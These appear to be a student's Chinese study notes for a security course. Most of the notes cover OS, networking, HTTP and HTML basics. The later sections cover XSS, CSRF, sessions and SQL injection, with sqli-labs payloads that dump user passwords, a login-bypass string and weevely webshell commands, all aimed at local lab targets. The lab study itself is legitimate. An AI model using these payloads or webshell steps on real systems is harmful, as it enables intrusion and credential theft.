手机咋建网站,深圳外贸人才网,旅游电子商务网站建设规划方案,北流做网站操作系统
1.相关知识
1.1 操作系统概述
1.是系统最基本最核心的软件#xff0c;属于系统软件
2.控制和管理整个计算机的硬件和软件资源
3.合理的组织、调度计算机的工作与资源的分配
4.为用户和其它软件提供方便的接口和环境1.2 并发与并行
并发
并发与并行
并发#xff…操作系统
1.相关知识
1.1 操作系统概述
1.是系统最基本最核心的软件属于系统软件
2.控制和管理整个计算机的硬件和软件资源
3.合理的组织、调度计算机的工作与资源的分配
4.为用户和其它软件提供方便的接口和环境1.2 并发与并行
·并发
·并发与并行
·并发两个或多个事件在同一时间间隔内发生
·并行两个或多个事件在同一时刻发生。2.进程
2.1 特征
动态性是进程最基本的特征
进程是资源分配、接受调度的基本单位 动态性:
进程是程序的一次执行过程是动态地产生、变化和消亡的.并发性:
内存中有多个进程实体各进程可并发执行独立性:进程是能独立运行、独立获得资源、独立接受调度的基本单位进程的特征异步性:
各进程按各自独立的、不可预知的速度向前推进操作系统要提供“进程同步机制”来解决异步问题结构性:
每个进程都会配置一个PCB。结构上看进程由程序段、数据段、PCB组成2.2 相关概念
●PCB是进程存在的唯一标志
程序段、数据段、PCB三部分组成了程实体(进程映像)。
创建进程(PCB)
撤销进程(PCB)进程是进程实体的运行过程是系统进行资源分配和调度一个独立单位2.3 线程
2.3.1 相关概念
可以把线程理解为“轻量级进程”。
线程是一个基本的CPU执行单元也是程序执行流的最小单位。引入线程之后不仅是进程之间可以并发进程内的各线程之间也可以并发从而进一步提升了系统的并发度使得5个进程内也可以并发处理各种住务(如QQ视频、文字聊天、传文件)
引入线程后进程只作为除CPU之外的系统资源的分配单元(如打印机、内存地址空间等都是分配给进程的)。2.3.2 线程的实现方式
线程的实现分为两类用户级线程和内核级线程2.3.3 内核级线程
内核级线程的管理工作由操作系统内核完成。线程调度、切换等工作都由内核负责因此内核级线程的切换必然需要在核心态下才能完成。
可以这样理解“内核级线程”就是“从操作系统内核视角看能看到的线程”3.文件管理
3.1 概念
文件管理是对外部存储设备上以文件方式存放的信息的管理 。3.2 逻辑组织
逻辑组织是为了方便用户的使用是用户可见的结构。文件的逻辑结构可以分为无结构的字符流文件和有结构的记录文件两种。3.3 物理组织
文件的物理结构是指文件在存储设备上的存储方法。3.4 目录结构
文件控制块的集合称不文件目录文件管理的一个重要方面是对文件目录进行组织和管理。文件系统一般都采用一级目录结构、二级目录结构和多级目录结构。3.5 存储空间管理
由于文件存储设备是分成许多大小机同的物理块并以块为单位交接信息因此文件存储设备的管理实质上是对空闲块的组织和管理问题。4.内存管理
4.1 概念
总的来说操作系统内存管理包括物理内存管理和虚拟内存管理。4.2 物理内存管理 包括程序装入等概念、交换技术、连续分配管理方式和非连续分配管理方式分页、分段、段页式。4.3 虚拟内存管理 虚拟内存管理包括虚拟内存概念、请求分页管理方式、页面置换算法、页面分配策略、工作集和抖动。5.I/O管理
计算机网络
1.概述
1.1 计算机网络的组成
从组成部分来看
一个完整的计算机网络主要由硬件、软件和协议三大部分组成缺一不可
// 协议为核心从工作方式来看
计算机网络(主要指Internet)可分为边缘部分和核心部分。
边缘部分// 主机
核心部分// 网络 路由器提供通信和交换服务从功能组成来看
计算机网络由通信子网和资源子网组成
资源子网 应用层表示层会话层
(实现资源共享功能的设备和软件的集合)通信子网网络层数据链路层物理层
(各种传输介质、通信设备、相应的网络协议组成)1.2 计算机网络的功能
数据通信
资源共享(软件共享数据共享硬件共享)
分布式处理
提高可靠性
负载均衡
其它1.3 分类
按网络的使用者:
公用网
专用网1.4 性能指标
速率
带宽
吞吐量
时延
(总时延发送时延传播时延处理时延排队时延)
时延带宽积(时延带宽积传播时延×信道带宽)
往返时延
信道利用率1. 计算机网络补充
1.1 计算机网络分层的原因
发送一个pdf的步骤
发送文件前要完成的工作
(1)发起通信的计算机必须将数据通信的通路进行激活。
(2)要告诉网络如何识别目的主机。
(3)发起通信的计算机要查明目的主机是否开机并且与网络连接正常。
(4)发起通信的计算机要弄清楚对方计算机中文件管理程序是否已经做好准备工作。
1.2 分层的基本原则
1.各层之间相互独立每层只实现一种相对独立的功能。
2.每层之间界面自然清晰易于理解相互交流尽可能少。
3.结构上可分割开。每层都采用最合适的技术来实现。
4.保持下层对上层的独立性上层单向使用下层提供的服务。
5.整个分层结构应该能促进标准化工作。1.3 分层结构
OSI七层与TCP四层
1.4 服务原语
OSI将原语划分为4类
请求(Request) T
指示(Indication)
响应(Response)
证实(Confirmation)
这4类原语用于不同的功能如建立连接、传输数据和断开连接等。1.5 OSI七层
应用层
表示层
会话层
传输层
网络层
数据链路层
物理层1.6 TCP 4层
应用层
传输层
网络层
网络接口层1.7 TCP/IP、OSI的相同点
1.都分层2.基于独立的协议栈的概念3.可以实现异构网络互联
1.8 三种通信方式
从通信双方信息的交互方式看可以有三种基本方式
1.单工通信只有一个方向的通信而没有反方向的交互仅需要一条信道。
2.半双工通信 通信的双方都可以发送或接收信息但任何一方都不能同时发送和接收需要两条信道。
3.全双工通信 通信双方可以同时发送和接受信息也需要两条信道。1.9 传输介质
常用的传输介质分为有线传输介质与无线传输介质两大类。不同的传输介质其特性也各不相同它们不同的特性对网络中数据通信质量和通信速度有较大影响。
1.10 相关概念
中继器
中继器RP repeater是工作在物理层上的连接设备。适用于完全相同的两个网络的互连主要功能是通过对数据信号的重新发送或者转发来扩大网络传输的距离。 中继器是对信号进行再生和还原的OSI模型的物理层设备。
集线器
集线器Hub是指将多条以太网双绞线或光纤集合连接在同一段物理介质下的设备。集线器是运作在OSI模型中的物理层。它可以视作多端口的中继器若它侦测到碰撞它会提交阻塞信号
数据链路层
负责通过一条链路从一个结点向另一个物理链路直接相连的相邻结点传送数据报。 简单的说就是将网络层的数据报进行再次封装搬运给物理层
数据链路层功能
功能一为网络层提供服务。无确认无连接服务有确认无连接服务有确认面向连接服务 功能二链路管理即连接的建立、维持、释放(用于面向连接的服务)。 功能三组帧。 功能四流量控制。 限制发送方哦~ 功能五差错控制(帧错/位错)。
1.11 局域网的概念及特点
决定局域网的主要要素为网络拓扑传输介质与介质访问控制方法。
概念 局域网(Local Area Network)简称LAN.是指在某一区域内由多台计算机互联成的计算机组使用广播信道。特点
特点1覆盖的地理范围较小只在一个相对独立的局部范围内联如一座或集中的建筑群内。
特点2使用专门铺设的传输介质(双绞线、同轴电缆)进行联网数据传输速率高(10Mb/s10Gb/s)。
特点3通信延迟时间短误码率低可靠性较高。
特点4各站为平等关系共享传输信道。
特点5多采用分布式控制和广播式通信能进行广播和组播。
1.12 广域网与局域网的区别与联系
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8xro3Omi-1655030474769)(C:\Users\shinelon\Desktop\信息安全\应用系统安全检测技术\day2\微信图片_20220413135936.png)]
1.13 冲突域与广播域
冲突域在同一个冲突域中的每一个节点都能收到所有被发送的帧。简单的说就是同一时间内只能有一台设备发送信息的范围。广播域网络中能接收任一设备发出的广播帧的所有设备的集合。简单的说如果站点发出一个广播信号所有能接收收到这个信号的设备范围称为一个广播域。1.14 网络层
主要任务是把分组从源端传到目的端为分组交换网上的不同主机提供通信服务。
网络层传输单位是数据报。1.15 路由器
路由器主要完成两个功能
路由选择与分组转发1.16 TCP 协议
1.TCP是面向连接(虚连接)的传输层协议。打call
2.每一条TCP连接只能有两个端点每一条TCP连接只能是点对点的。
3.TCP提供可靠交付的服务无差错、不丢失、不重复、按序到达。可靠有序不丢不重
4.TCP提供全双工通信。 发送缓存 准备发送的数据已发送但尚未收到确认的数据接收缓存按序到达但尚未被接受应用程序读取的数据不按序到达的数据
5.TCP面向字节流 TCP把应用程序交下来的数据看成仅仅是一连串的无结构的字节流。
流流入到进程或从
进程流出的字节序列。1.连接建立
三次握手
1.SYN1 seqx 2.SYN1 ACK1 seqy ackx1 3.ACK1 seqx1 acky1 2.释放连接
四次挥手
1.FIN1 sequ 2.ACK1segv acku1 3.FIN1 ACK1seqw acku1 4.ACK1 sequ1ackw1
1.17 C/S与P2P模型
P2P优势
1.减轻服务器的计算压力消除对某个服务器的完全依赖。
2.多个客户机之间可以直接共享文档。
3.可扩展性好。
4.网络健壮性强。
P2P劣势
1.占用较多的内存。
2.硬盘损伤。1.18 DNS系统
域名系统(Domain Name Svstem DNS)是因特网使用的命名系统。用来把便干人们记忆的具有特定含义的主机名(如www.BitHachi.com)转换为便于机器处理的IP地址。2. HTTP
2.1 客户端/服务器
根据Web浏览器地址栏中指定的“网址”Web浏览器从Web服务器(server)端获取文件资源(resouse等信息从而显示出Web页面像这种通过发送请求获取服务器资源的Web浏览器等都可以称为客户端(client)
Web使用一种名为HTTP(HyperText Transfer Protocol超文本传输协议的协议作为规范完成从户端的服务器端等一系列运作流程。 超文本传输协议可以进行文字分割超文本(Hypertext)、传输(Transfer)、协议(Protocol)
2.2 超文本传输协议
超文本在互联网早期的时候我们保存的信息通常都以文本即简单字符的形式存在而随着互联网的高速发展人们还想要传输图片、音频、视频甚至点击文字或图片能够进行超链接的跳转这种语义扩大后的文本就被称为超文本(Hypertext)。传输两台计算机之间会形成互联关系进行通信由传输载体负责把二进制数据包由计算机终端传输到另一个终端的过程称为传输(transfer)。协议可以理解为规则的约定。网络协议就是网络中传递、管理信息的一些规范。2.3 请求方/应答方
通常我们把传输数据包的一方称为请求方把接到二进制数据包的一方称为应签方请求方和应答方可以进行互换请求方也可以作为应答方接受数据应答方也可以作为请求方请求数据2.4 数据链路层
数据链路层用来处理连接网络的硬件部分。
包括控制操作系统、硬件的设备驱动、NIC(Network Interface Card网络适配器即网卡)及光纤等物理可见部分(还包括连接器等一切传输媒介)。硬件上的范畴均在链路层的作用范围之内。2.5 TCP/IP 通信传输流
利用 TCP/IP协议族进行网络通信时会
通过分层顺序与对方进行通信。发送端从
应用层往下走接收端则往应用层往上走。2.6 负责传输的IP协议
按层次分IP (Internet Protocol)网际协议位于网络层。
Internet Protocol几乎所有使用网络的系统都会用到IP协议
TCP/IP协议放中的IP指的就足网际协议协议名称中占据了一半位置其玉要性可见一斑。“IP”/“IP 地址”“IP”其实是种协议的名称。
IP协议的作用是把各种数据包传送给对方。而要保证确实传送到对方那里则需要满足各类条件。其中两个重要的条件是IP地址和 MAC地址。
IP地址指明了节点被分配到的地址MAC地址是指网卡所属的固定地址。IP地址可以和 MAC 地址进行配对。
IP地址可变换但MAC地址基本上不会更改。2.7 与 HTTP关系密切的协议
IP、TCP 和 DNS
2.8 确保可靠性的 TCP协议
按层次分TCP位于传输层提供可靠的字节流服务。
所谓的字节流服务(Byte Stream Service)是指为了方便传输将大 块数据分割成以报文段(segment)为单位的数据包进行管理。而可靠的传输服务是指能够把数据准确可靠地传给对方。一言以蔽之TCP协议为了更容易传送大数据才把数据分割而且TCP协议能够确认数据最终是否送达到对方。2.9 TCP与UDP区别
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fJxCzvcl-1655030474776)(C:\Users\shinelon\Desktop\信息安全\应用系统安全检测技术\day2\课堂截图\TCP与UDP区别.png)]
2.10 TCP协议的组成
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oHOgOBjs-1655030474778)(C:\Users\shinelon\Desktop\信息安全\应用系统安全检测技术\day2\课堂截图\TCP的组成.png)]
2.11 TCP的三次握手
①首先Client 端发送连接请求报文 ②Server段接受连接后回复ACK 报文并为这次连接分配资源。 ③Client端接收到 ACK 报文后也向Server 段发生 ACK 报文并分配资源这样TCP连接就建立了。
2.12 三次握手可靠性 三次握手比两次更可靠但也不是完全可靠而追加更多次握手也不能使连接更可靠了.因此选择了三次握手。世界上不存在完全可靠的通信协议。从通信时间成本空间成本以及可靠度来讲选择了“三次握手”作为点对点通信的一般规则。2.13 HTTP协议特点
HTTP协议建立在TCP协议基础之上
HTTP协议是无状态的2.14 一次完整的http请求过程
建立或处理连接
接收请求
处理请求
访问资源
构建响应报文
发送响应报文
记录日志2.15 web应用请求过程
浏览器用户输入URL(www.taobao.com)DNS域名解析
建立TCP链接
发送HTTP Request
web服务器响应
应用服务器响应
关闭TCP链接
用户浏览器渲染页面2.16 URL/URI
URL
用于描述某服务器某特定资源的位置
统一资源定位符从协议开始可以唯一确定资源地址的字符串
URI:
统一资源标识符在一定约束条件下可以唯一确定资源地址的字符串
URN:资源命名服务
统一资源名称通过特定命名空间中的唯一名称或ID来标识资源URI URL URN
2.17 HTTP 请求 URL
必须包含协议、主机、端口(可省略)2.18 HTTP状态码(status)
1xx表示通知信息的如请求收到了或正在进行处理。
2xx表示成功如接受或知道了。
3xx表示重定向表示要完成请求还必须采取进一步的行动。
4xx表示客户的差错如请求中有错误的语法或不能完成。
5xx表示服务器的差错如服务器失效无法完成请求。2.19 HTTP首部
HTTP协议请求与响应必须包含HTTP首部
HTTP首部为客户端和服务端分别处理请求和相应提供所需的信息2.20 HTTP报文内的 HTTP信息
响应头字段信息
Allow对某网络资源的有效的请求行为不允许则返回405
Cache-Control告诉所有的缓存机制是否可以缓存及哪种类型
Content-Encodingweb服务器支持的返回内容压缩编码类型
Content-Language响应体的语言
Content-Length响应体的长度
Content-Location请求资源可替代的备用的另一地址
Content-Type返回内容的MIME类型
Location用来重定向接收方到非请求URL的位置来完成请求或标识新的资源Server:web服务器软件名称
Set-Cookie设置Cookie
Allow对某网络资源的有效的请求行为不允许则返回405
Cache-Control告诉所有的缓存机制是否可以缓存及哪种类型
Content-Encodingweb服务器支持的返回内容压缩编码类型
Content-Language响应体的语言
Content-Length响应体的长度
Content-Location请求资源可替代的备用的另一地址
Content-Type返回内容的MIME类型
Location用来重定向接收方到非请求URL的位置来完成请求或标识新的资源Serverweb服务器软件名称
Set-Cookie设置Cookie2.21 HTTP的特点
HTTP的优点
简单灵活易扩展
HTTP最重要也是最突出的优点是 简单、灵活、易于扩展
HTTP的协议比较简单它的主要组成就是header body头部信息也是简单的文本格式而且 HTTP的请求报文根据英文也能猜出来大概的意思降低学习门槛能够让更多的人研究和开发HTTP应用所以在简单的基础上HTTP协议又多了灵活和易扩展的优点。无状态(stateless)
无状态其实既是优点又是缺点。因为服务器没有记忆能力所以就不需要额外的资源来记录状态信息不仅实现上会简单一些而且还能减轻服务器的负担能够把更多的 CPU 和内存用来对外提供服务。
HTTP 的缺点
无状态
既然服务器没有记忆能力它就无法支持需要连续多个步骤的事务操作。每次都得问一遍身份信息不仅麻烦而且还增加了不必要的数据传输量。由此出现了Cookie技术。明文
HTTP 协议里还有一把优缺点一体的双刃剑就是明文传输。明文意思就是协议里的报文(准确地说是header部分)不使用二进制数据而是用简单可阅读的文本形式。
对比TCP、UDP 这样的二进制协议它的优点显而易见不需要借助任何外部工具用浏览器、Wireshark 或者 tcpdump抓包后直接用肉眼就可以很容易地查看或者修改为我们的开发调试工作带来极大的便利。
当然缺点也是显而易见的就是不安全可以被监听和被窥探。因为无法判断通信双方的身份不能判断报文是否被更改过。2.22 http性能
性能可以用六个字来概括“不算差不够好”。HTML
什么是 HTML? HTML 语言用于描述网页。
HTML 是指超文本标记语言: Hyper Text Markup LanguageHTML 不是一种编程语言而是一种标记语言标记语言是一套标记标签 ( markup tag )HTML 使用标记标签来描述网页HTML 文档包含了 HTML 标签及文本内容HTML 文档也叫做 web 页面
HTML 标签 HTML 标记标签通常被称为 HTML 标签 ( HTML tag )。
HTML 标签是由 尖括号 包围的关键词比如htmlHTML 标签通常是 成对出现 的比如b和/b标签对中的第一个标签是开始标签第二个标签是 结束标签开始和结束标签也被称为开放标签 和 闭合标签
HTML 元素 “HTML 标签” 和 “HTML 元素” 通常都是描述相同的意思。
但是严格来讲一个 HTML元素包含了开始标签与结束标签
过不用担心阅读完本章您就能够掌握它们了
HTML 标题 HTML 标题Heading是通过 h1-h6标签来定义的.
HTML 段落 HTML 段落是通过标签p来定义的P是英文paragraph段落的缩写经常被用来创建一个段落就和你写作文一样
HTML 链接 HTML 链接是通过标签a来定义的。a标签也叫anchor锚点元素既可以用来链接到外部地址实现页面跳转功能也可以链接到当前页面的某部分实现内部导航功能。
HTML 强调 在人类语言中为了突出一句话的意思我们通常强调某些词并且我们通常想要标记某些词作为重点或者表示某种程度上的不同。HTML 提供了许多语义化的元素并且允许我们通过这些元素的意义标记正文内容在这个章节中我们将看到最常见的一小部分元素。
在 HTML 中我们可以使用ememphasis元素来标记这样的情况浏览器默认风格为斜体
HTML 元素语法
HTML 元素以开始标签起始HTML 元素以结束标签终止元素的内容是开始标签与结束标签之间的内容某些 HTML 元素具有空内容empty content空元素在开始标签中进行关闭以开始标签的结束而结束大多数 HTML 元素可拥有属性
靶场怎么用
1.打开Kali虚拟机2打开命令行3.root4.安装dockerapt-get install docker io5.安装docker-composepip install docker-compose6.下载vulstudy项目git clone https //github.com/c0ny1/vulstudy git7.到某个靶场路径下8.启动容器docker-compose up -d9.停止容器docker-compose stop漏洞(vulnerableility)
vulnerableility 弱点/脆弱性漏洞就是指硬件、软件、协议功能性、安全性、逻辑
性上的缺陷设计、实现、配置、运行、运维、升级有意或无意不同的形式存在各个环节和层次威胁代理CIA硬件 软件 协议 信息系统关联
BUG 程序漏洞
vulnerableility 可以利用的BUG威胁系统CIA利用
exploit,EXPVUL完整PoC(Proofof concept)概念验证无害漏洞挖掘
1漏洞挖掘 1.改变了本来的意思 2.改变格式 3.改变长度 4.改变编码 5.改变符号 漏洞位置 1.用户输入的位置 2.获取用户信息的位置传递的位置 3.第三方调用的位置 12345 影响输入、传递、运算、存储、提取、输出 得到漏洞 Web漏洞 1.输入、输出验证不充分 2.设计缺陷 3.环境缺陷
对象
软件 硬件 协议 逻辑Web漏洞
XSS是什么
OWASP TOP 10
当应用程序的新网页包含(不受信任的、未经恰当验证或转义)数据或者使用可以创建HTML或JAVASCRIPT的浏览器API更新现有网页时就会出现XSS缺陷。XSS让攻击者能够在受害者浏览器中执行脚本并劫持用户会话、破坏网站或将用户重定向到恶意站点。
中文名跨站脚本攻击(cross site scripting)
CSS层叠样式表
一种将JS脚本插入到Web用户页面中
1.我们应该写什么代码
HTML JavaScript
2.代码在哪里执行
浏览器
3.直接受害者是谁
用户
HTMLJSXSS分类
1.反射型XSS
2 存储型XSS
3.DOM型XSS
(和服务器交互层次)
形式分类
1.反射型XSS
2.存储型XSS反射型XSS
流程 1.攻击者发送带有XSS链接发给用户 2.访问链接访问目标服务器 3.目标服务器将XSS恶意脚本与原始界面返回到用户浏览器 4浏览器解析了XSS恶意脚本向恶意服务器发起请求 5.攻击者从自己搭建的服务器当中获取用户信息 *XSS漏洞属于服务器Web应用程序漏洞
存储型XSS持久型XSS
流程 1.攻击者在目标服务器上构建XSS恶意脚本保存在目标服务器当中 2.用户访问目标服务器并且查看了带有XSS恶意脚本的页面 3.网站将XSS恶意脚本与原始页面返回浏览器 4.用户浏览器解析了XSS恶意脚本并向恶意服务器发起请求 5.攻击者从自己搭建服务器获取用户提交信息 反射/存储 XSS和其他 窃取cookie 网络钓鱼挖矿恶意代码传播
新浪XSS
自动关注作者然后那个作者再给发链接昨日补充
反射型(非持久型)
1.发恶意脚本链接 2.访问目标服务器 3.返回浏览器了 4.恶意服务器 5.提取信息
存储型
1.在服务器上构建脚本保存在服务器上 2.查看带有恶意脚本页面 3.返回浏览器 4.恶意服务器 5.获取信息
会话管理
WEB会话管理概述
为什么需要会话管理http是无状态的一次请求结束连接断开
下次服务器再收到请求无法识别此连接是哪个用户为了需要辨别访问用户需要一种记录用户的方式Web应用会话管理的方式
session的管理方式 cookie的管理方式 token的管理方式
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IvjRTp4Y-1655030493209)(C:\Users\shinelon\Desktop\信息安全\应用系统安全检测技术\day4\截图\1.png)]
SESSION的管理方式
相关问题 1)这种方式将会话信息存储在web服务器里面所以在用户同时在线量比较多时这些会话信息会占据比较多的内存 2)当应用采用集群部署的时候会遇到多台web服务器之间如何做session共享的问题3)多个应用要共享session时还会遇到跨域问题
COOKIE的管理方式
Cookie基础 Cookie是由HTTP服务器设置的Cookie信息保存在浏览器中Cookie和Session最大的区别Cookie将数据存储在客户端Session将数据存储在服务器端
会话劫持
XSS攻击 跨站脚水(Cross-Site Scripting,XSS) 攻击者利 网站漏洞恶意的脚本代码注入到网页之中。十 当其他用户浏览这些网页时就会执行其中的恶意代码。 主要对受害用户采取Cookie资料窃取、会话劫持、钓鱼欺骗等各种攻击。
会话固定
什么是会话固定 会话固定(Session fixation) 诱骗受害者使用攻击者指定的会话标识(SessionlD)的攻击手段。这是攻击者获取合法会话标识的最简单的方法 攻击步骤 1、攻击者通过某种手段重置目标用户的SessionID然后监听用户会话状态 2、目标用户携带攻击者设定的Session ID登录站点 3、攻击者通过Session ID获得合法会话 Cookie安全 Cookie字段 name value domain path expire httponly secure 依次是名称、值、域名、相对根路径、过期时间、是否有httponly标志、是否有secure标志 路径Cookie path字段设置conkie时如不指定则默认是当前页面路径。例如www.360.com/admin/index.php页面设置一个 cookiedocument.cookie“test1” Path值是/admin/ 只有该/admin/径下的页面才能读取到该cookie
TOKEN的管理方式
流程和实现上跟cookie-based基本没有区别 cookie-based里面写到cookie里面的ticket此情景称为tokentoken在请求都必须通过url参数或者是http header的形式主动带上token
关于session攻击
主要攻击方式 首先通过捕获或固定合法用户session.然后冒充该用户来访问系统三种方式来获取一个有效的session标识符 预测 捕获(劫持) 固定 数据库基础
01 数据库价值 02什么是数据库
Database
一个以某种有组织方式存储的数据集合数据 记录、鉴别 信息 数据有序排列组合 文本 Data Base Management System DBMS 表
MySQL
增
insert into 表名 (属性) values (值);
删
delete from (表名) where 条件
改
update (表名) where 条件
查
select * from (表名) where 条件
like
_ 匹配单个字符
% 匹配任意字符mysql 的基本使用流程
create database A; //创建 A的数据库
show databases;
use A;//使用A
show tables;
create table student ( //创建学生表
id int ,
name varchar(20),
city varchar(20)
);
insert into student values //添加属性行
(1,‘zhangsan’,‘shenyang’),
(2,‘lisi’,‘jinzhou’),
(3,‘caoHan’,‘heishan’);
update student set city ‘辽宁666’ where city ‘jinzhu’;
delete from student where city like ‘辽%’
union
union查询:将2条或多条SQL的查询结果合并成1个结果集
limit x,y
从索引x 位置开始的y条元素
Sql注入
概念
SQL 注入就是在用户输入的字符串中加入 SQL 语句如果在设计不良的程序中忽略了检查那么这些注入进去的 SQL 语句就会被数据库服务器误认为是正常的 SQL 语句而运行攻击者就可以执行计划外的命令或访问未被授权的数据。原理
将不受信任数据作为命令或者查询的一部分发送到解析器会产生注入漏洞。攻击者的恶意数据可以诱使解析器在没有适当授权情况下执行非预期的命令或者访问数据。
Web应用对用户输入验证上的疏忽
输入的数据中包含了对数据库系统有特殊意义的符号或者命 被数据库执行 实现对数据库的操作 两个利用条件 1.用户能够控制输入 2.源程序要执行SQL语句
Sql注入昨日补充
过程
过程分4步
1.攻击者访问有SQL注入漏洞的网站寻找到注入点2.攻击者构造注入语句注入语句和源程序中的SQL语句组合成新的SQL语句3.新的SQL语句被提交到数据库中执行4.数据库执行了新的SQL语句引发SQL注入攻击
SQL注入危害
绕过登录验证
使用万能口令登录获取敏感数据
操作文件系统
执行系统命令
漏洞五问
我们应该写什么代码
SQL语句
代码在哪里执行(代码由谁来执行)
目标Web应用的数据库管理系统
漏洞位置在哪里
目标Web应用
直接受害者是谁
数据
漏洞破坏了CIA的哪项特性
机密性
SQL注入详细流程
1判断是否存在注入点 •先确定正常页面 ·要想尽一切办法使正常页面报错如果不能先搁置报错 •确定一个非正常页面通常很难确定 原始页面通过执行SQL语句达到某些效果就一定是注入点 ·1通过执行真值SQL语句(and 11)返回原始页面 ·2通过执行假值SQL语句(and 12)返回一个不是损错页面的非正常页面。原始页面和非正常页面不一致 是注入点 and 11,and 12判断 2判断注入点类型 3判断回显类型及位置 4 判断数据库信息 5判断数据库名 6.判断表名 7.判断字段名 8 判断字段值 9 获取数据库内容
SQL注入的分类
1.按照参数分类(数据库字段的数据类型) 整型(数值型) 字符(串)型包括搜索型 2 按照交互方式分类 GET型、POST方式、COOKIE方式 3.按照反馈结果分类 盲注注入不会展现任何数据库报错内容 它是根据构造真假问题对数据库提问的方式判断是否存在注入基于时间、布尔值 •非盲注需要关注回显类型和回显位置 4.按照数据库管理系统分类 MySQL、Oracle、SQL-server 5.其他类型堆叠注入、二次注入 6.错误按照Web应用开发语言分类(错) 经典判断 整型and 11,and 12 字符型and ‘a’a and ‘a’c
information_schema
字符串连接函数
group_concat() concat(str1,str2…)没有分隔符地连接字符串 concat_ws(‘x’,str1,str2…) groupconcat(str1,str2…)连接一个组的所有字符串
user()
database()
version() 版本
datadir 路径
version_compile_os
sql查询过程
首先查找所有数据库信息
然后查找所有表
然后查找表中列
最后查询到了我们想要的数据SQL 查找数据库数据流程梳理
相关函数与定义
table_schema 锁定库名查找表
table_name 表明
schemata 内含所有库名
column_name 列明
columns 存放着所有列明
left()函数
left(database(),1) ‘s’
left(a,b) 从左侧截取a前b位正确返回1错误返回0
like() 函数
select user() like ‘ro%’
substr(s,start,end) s为字符串start为开始字符,end为结束字符
ascii()将字符转为 ascii
database() 字符数payload1 字符数
payload1
payload2 ascii码
关1
http://127.0.0.1/Less-1/?id-1’ union select 1,2, group_concat(column_name) from information_schema.columns where table_schema‘security’ and table_name‘users’ --
http://127.0.0.1/Less-1/?id-1’ union select 1,2, group_concat(concat_ws(‘—’,username,password)) from security.users --
关2
http://127.0.0.1/Less-2/?id-1 union select 1,2,database()
http://127.0.0.1/Less-2/?id-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema ‘security’
http://127.0.0.1/Less-2/?id-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name ‘users’ and table_schema ‘security’
http://127.0.0.1/Less-2/?id-1 union select 1,2, group_concat(concat_ws(‘—’,username,password)) from security.users
关3
http://127.0.0.1/Less-3/?id-1’ ) union select 1,2,group_concat(column_name) from information_schema.columns where table_schema‘security’ and table_name ‘users’ --
http://127.0.0.1/Less-3/?id-1’ ) union select 1,2,group_concat(concat_ws(‘–’,username,password)) from security.users --
关4
http://127.0.0.1/Less-4/?id-1) union select 1,2,group_concat(concat_ws(‘–’,username,password)) from security.users --
关5
通过left() 与substr() 、ascii一个一个实验
Payload类型与处理
四种攻击类型
**狙击手模式【Sniper】**一[每次攻击)单payload位置单payload集合简单替换若有多个payload位置则会在每-个位置上遍历一次payload集合 攻城锤模式(Battering ram)一(每次攻击)多payload位置单payload集合在多个位置.上使用相同的payload 草叉模式(Pitchfork)—一。(每次攻击)多payload位置多payload集合在每个pay load位置上遍历对应的payload集合攻击次数为最短的pay| oad集合的元素个 集束炸弹模式(Cluster bomb)——(每次攻击)多payload位置多payload集合以多个pay load集合的笛卡尔积作为攻击序列。比如第一-个位置的payload集合是(AB]第二格位置的payload集合是(CD)则攻击序列为(ACADBCB.D
sql注入
floor()报错注入
分为三个函数
count
rand
group by
and select 1 from (select count(*),concat(database(),floor(rand(0) * 2))x from information_schema.tables group by x)a)
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZttvWWSx-1655030539641)(C:\Users\shinelon\Desktop\信息安全\应用系统安全检测技术\day8\1650506431999.png)]
rand()函数0-1 随机数向下取整
floor函数向下取整
第五关
得到
users表 1
http://127.0.0.1/Less-5/?id1 union select 1,count(*),concat_ws(-,(select table_name),floor(rand()*2)) as x from information_schema.columns where table_schemasecurity group by x --users表 2
http://127.0.0.1/Less-5/
?id1 union select 1,count(*),concat_ws(-,(select table_name from information_schema.tables where table_schemasecurity limit 0,1),floor(rand()*2)) as x from information_schema.tables group by x --万能口令
admin or 11 #关11
unameshuaiB union select ,group_concat(concat_ws(-,username,password) )from security.users #passwdbi ba ta na xiaWeevely使用
1.生成shell文件
weevely generate 密码 路径 文件名
2.上传
3.连接shell
weevely shell 文件地址 密码
4.help
weevely generate password /home/pp/new.php[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-309ftH32-1655030539645)(C:\Users\shinelon\Desktop\信息安全\应用系统安全检测技术\day8\1650529984832.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Z7OnV9jD-1655030539646)(C:\Users\shinelon\Desktop\信息安全\应用系统安全检测技术\day8\1650530042246.png)]
weevely http://127.0.0.1/hackable/uploads/new.php password
Burp Suite
具体流程
首先点点点
然后点击Proxy、打开Intetecept is on
进行抓包
然后进行经典的爆破CSRF(跨站请求伪造)
跨越恶意站点跨越到有漏洞站点通过浏览器 站点用户访问或登录的站点 请求HTTPS请求 伪造伪造用户的请求
“同源指的是三个相同”协议域名端口
https 默认端口443
http 默认80
http://127.0.0.1/vulnerabilities/csrf/?password_new789password_conf789ChangeChange
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Pmq3sdSr-1655030549536)(C:\Users\shinelon\Desktop\信息安全\应用系统安全检测技术\day9\1650595070182.png)]
CSRF流程
1.用户访问A网站并且成功登录A获取A网站COOKIE 2.在用户没有退出A网站的情况下攻击者诱导其访问B网站。(B网站是攻击者构造的恶意网站) 3.B网站包含一个针对A网站的请求 4.用户因为具有A网站的COOKIE在不知情的情况之下使用自己的身份向A网站发送了B网站的请求
5.反射型跨站和CSRF都需要攻击者诱导用户访问特定的链接或页面
6.都绕过了同源策略的限制
CSRF注意点
我们应该写什么代码 HTMLjs 代码在哪里执行(代码由谁执行)浏览器 漏洞位置在哪 用户访问的正常网站 直接受害者是谁 用户/漏洞所在网站
XSS CSRF区别
1.XSS获得用户身份然后去做某事 2.CSRF是在用户不知情情况下让用户去做某 3.防护手段不同
命令执行(漏洞)
PHP中的system/exce/shell exec/passthru/proc popen 当用户能够控制这些函数中的参数时就可以将恶意系统 命令拼接到正常命令中从而造成命令执行攻击
两个条件
1.用户能够控制函数输入 2.存在可以执行代码的危险函数
相关函数
